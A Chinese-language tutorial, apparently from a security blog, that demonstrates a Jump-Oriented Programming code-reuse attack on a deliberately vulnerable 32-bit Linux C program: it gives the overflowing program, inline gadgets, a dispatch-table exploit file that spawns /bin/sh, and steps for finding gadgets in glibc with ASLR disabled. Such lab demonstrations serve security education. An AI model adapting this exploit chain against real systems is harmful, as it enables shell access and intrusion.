JOP代码复用攻击

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最近,我在研究代码重用攻击与防御,在此过程中发现对于ropreturn-Oriented Programming)的介绍有许多,但jop(Jump-Oriented Programming)却少有提及。即使有,多数也与rop混杂在一起。因此,我决定基于论文Jump-Oriented Programming: A New Class of Code-Reuse Attack完成一次演示。

 

一.什么是jop?

jop,全称Jump-Oriented Programming,中文译为面向跳转编程,是代码重用攻击方式的一种。在2011年,北卡罗来纳州立大学的Tyler Bletsch等人首次提出这一概念。其实际上是在代码空间中寻找被称为gadget的一连串目标指令,且其以jmp结尾。下图展示了jop原理。

 

Dispatcher是形如下列形式的代码块

pcßf(pc);

jmp pc;

pc可以是任意地址或寄存器,用其作为跳转目标。f(pc)表示对pc进行的操作,以下是一个例子。

inc eax;

jmp eax;

比如说首次跳转到了dispatch table的第一项,将会在执行一些指令后通过结尾处的jmp跳转回Dispatcher处,此时执行inc eaxeax值已改变,再次跳转就可以调到其他地方执行相应指令。而这些gadget的图灵完备性已被证明,也就是说,我们能通过这些gadget达到几乎所有目的。那么,让我们开始吧!

 

二.通过jop执行/bin/sh(简单版)

系统环境

主机OS      :     4.4.0-116-generic内核Ubuntu 16.04  i686

 CPU           :      Intel(R) Core(TM) i5-3337U CPU @ 1.80GHz

首先,我们来完成一个最简版本的jop攻击。

漏洞代码vul.c

#include <stdlib.h>  
#include <stdio.h>  
#include <string.h>  
#include <fcntl.h>  
#include <sys/stat.h>  
#include <sys/mman.h>  
#include <unistd.h>  
  
char* executable="/bin//sh";  
char* null="";  
FILE * fd;  
  
void attack_payload () {  
asm(".intel_syntax noprefix");  
//dispatcher  
asm("add ebp,edi; jmp [ebp-0x39];");  
  
//initializer  
asm("popa; jmp [ebx-0x3e];");  
  
//g00  
asm("popa; cmc; jmp [edx];");  
//g01  
asm("inc eax; cmc; jmp [edx];");  
//g02  
asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");  
//g03  
asm("inc ebx; stc; jmp [edx];");  
//g07  
asm("popa; call dword ptr [ecx];");  
//g08  
asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");  
//g09  
asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");  
//g0a  
asm("int 0x80");  
  
asm(".att_syntax noprefix");  
}  
  
void overflow() {  
  char buf[256];  
  fscanf(fd,"%[^n]",buf);  
  return;  
}  
  
int main(int argc, char** argv) {  
  char* filename = "exploit";  
  if(argc>1) filename = argv[1];  
  fd=fopen(filename, "r");  
  overflow();  
}  

在此版本的演示中,所有gadget均由内联汇编直接写入,无需在代码空间中寻找。

攻击最终要执行execve(/bin/sh”,argvenvp),函数原型为

int execve(const char *filename,char * const argv[],char * const envp[]);  

若要通过int  80执行它,需要有四个寄存器的参与:eax寄存器传递系统调用号0xbebx寄存器传递“/bin/sh”字符串的地址,ecx寄存器传递参数argvedx寄存器传递环境变量envp。为此需要合理设置eax、ebx、ecx、edx4个寄存器的值。具体步骤如下 

 = 1 * GB3 popa ; jmp  *-0x3e(%ebx)

缓冲区溢出会在相应位置设置好数据,popa将会将栈顶所有数据弹出到相应寄存器,

栈帧指向buff字符串,然后跳转至攻击起始处,即第二步。

 

 = 2 * GB3 add  %edi,%ebp; jmp  *-0x39(%ebp)

这时攻击开始,此处ebp寄存器即对应图4.2.5中的PCedi寄存器已在上一步被设置为偏移量-4,跳转到相应步骤,第一次将会跳到第三步。

 

= 3 * GB3 popa ; …… ; jmp *(%edx)

由于execve()的调用号为0x0000000b,包含’’,无法直接通过缓冲区溢出写入eax寄存器,所以将会分阶段写入。这一步中,将会用popa设置相应寄存器,为写入做准备,准备好一个中间变量,置为0xEEEEEE0b。将eax寄存器置为-1,并通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第四步。

 

 = 4 * GB3 inc %eax ; ……; jmp *(%edx)

这一步将eax寄存器加一,为后面的写入做准备,通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第五步。

 

= 5 * GB3 mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)

此时ah=0x00mov操作将把中间变量中的第5,60xEE置为0x00, 通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第六步。

 

 = 6 * GB3 inc %ebx ; …… ; jmp *(%edx)

ebx寄存器加一,为下一步设置中间变量做准备, 通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第七步。

 

 = 7 * GB3 mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)

ah=0x00mov操作将把中间变量中的第3,40xEE置为0x00, 通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第八步。

 

 = 8 * GB3 inc %ebx ; …… ; jmp *(%edx)

ebx寄存器加一,为下一步设置中间变量做准备, 通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第九步。

 

 = 9 * GB3 mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)

ah=0x00mov操作将把中间变量中的第1,20xEE置为0x00, 中间变量此时为0x0000000b,通过edx寄存器跳转回第二步,第二步再以新的地址执行一次跳转,跳转到第十步。

 

= 10 * GB3 popa ;…… ; jmp *(%ecx)

成功设置中间变量后,再次设置相应寄存器,通过ecx寄存器跳转回第二步,执行之后步骤。

 

 xchg  %eax,%ecx ;……; jmp  *-0xf(%esi)

由于上一步需要ecx寄存器做跳转,故交换eax,ecx, 通过esi寄存器跳转回第二步,执行之后步骤。

 

这个步骤无间接跳转,将会把eax寄存器设置为中间变量值0xb,然后传递系统调用号,此时ebx寄存器指向“/bin/sh”,陷入80中断,执行/bin/sh

exploit是由exploit.nasm文件生成的二进制文件,用作缓冲区溢出的输入。

需要注意的只是它的前21行。

vul.c编译为可执行文件

gcc -g -fno-stack-protector -o vul vul.c

gdb查看各地址

填入exploit.nasm

start:

; Constants:

base:                    equ 0xbfffef40           ; Address where this buffer is loaded under gdb

dispatcher:          equ 0x08048449        ; Address of the dispatcher gadget

initializer             equ dispatcher+5       ; Address of initializer gadget

to_executable:           equ 0x08048590        ; Points to the string “/bin/sh”

to_null:         equ 0x08048599        ; Points to a null dword (0x00000000)

buffer_length:            equ 0x100           ; Target program’s buffer size.

 

; The dispatch table is below (in reverse order)

g0a: dd dispatcher+52                    ; int 0x80

g09: dd dispatcher+43                   ; mov eax, [esi+0xc]          ; mov [esp], eax  ; call [esi+0x4]

g08: dd dispatcher+37                   ; xchg ecx, eax          ; fdiv st, st(3)      ; jmp [esi-0xf]

g07: dd dispatcher+33                   ; popa                         ; cmc                   ; jmp [ecx]

g06: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx]

g05: dd dispatcher+28                   ; inc ebx               ; fdivr st(1), st     ; jmp [edx]

g04: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx]

g03: dd dispatcher+28                   ; inc ebx               ; fdivr st(1), st     ; jmp [edx]

g02: dd dispatcher+19                   ; mov [ebx-0x17bc0000], ah   ; stc               ; jmp [edx]

g01: dd dispatcher+14                  ; inc eax               ; fdivr st(1), st     ; jmp [edx]

g00: dd dispatcher+9                     ; popa                         ; fdivr st(1), st     ; jmp [edx]

生成exploit

gdb下运行vul,执行/bin/sh

 

三.进阶

以上例子可以作为jop的一个例子,但实际上不能真实反映其特点。jop gadget并不直接存在于当前存在的指令中,而是依赖于对于opcode的另一种解读,如glibc-2.19中,有如下源码:

但使用ROPgadget对其进行gadget提取结果如下:

实际从0x683c7处开始将其解读为

D5 FF            aad 0xff

FF                  jmp ecx

因此,我们需要去掉内联汇编,直接在代码空间中寻找gadget

为此,我们需要使用ROPgadget工具。

sudo pip install ropgadget

我们将在libc中寻找gadget。查看其路径并进行查找。

gadget.txt中就能查找到各gadget的相对地址。

 为了计算其绝对地址,我们关闭地址随机化。

显然有system_addr – system_libc = xx_addr – xx_libc

反汇编查看可得system_libc

gdb可打印system地址

则可计算各绝对地址,填入exploit.nasm.

再次生成exploit,gdb下运行。 

至此,演示以全部完成。

源码请自行下载https://pan.baidu.com/s/15CssPnl_Rv0VYCru3htF2Q

审核人:yiwang   编辑:边边

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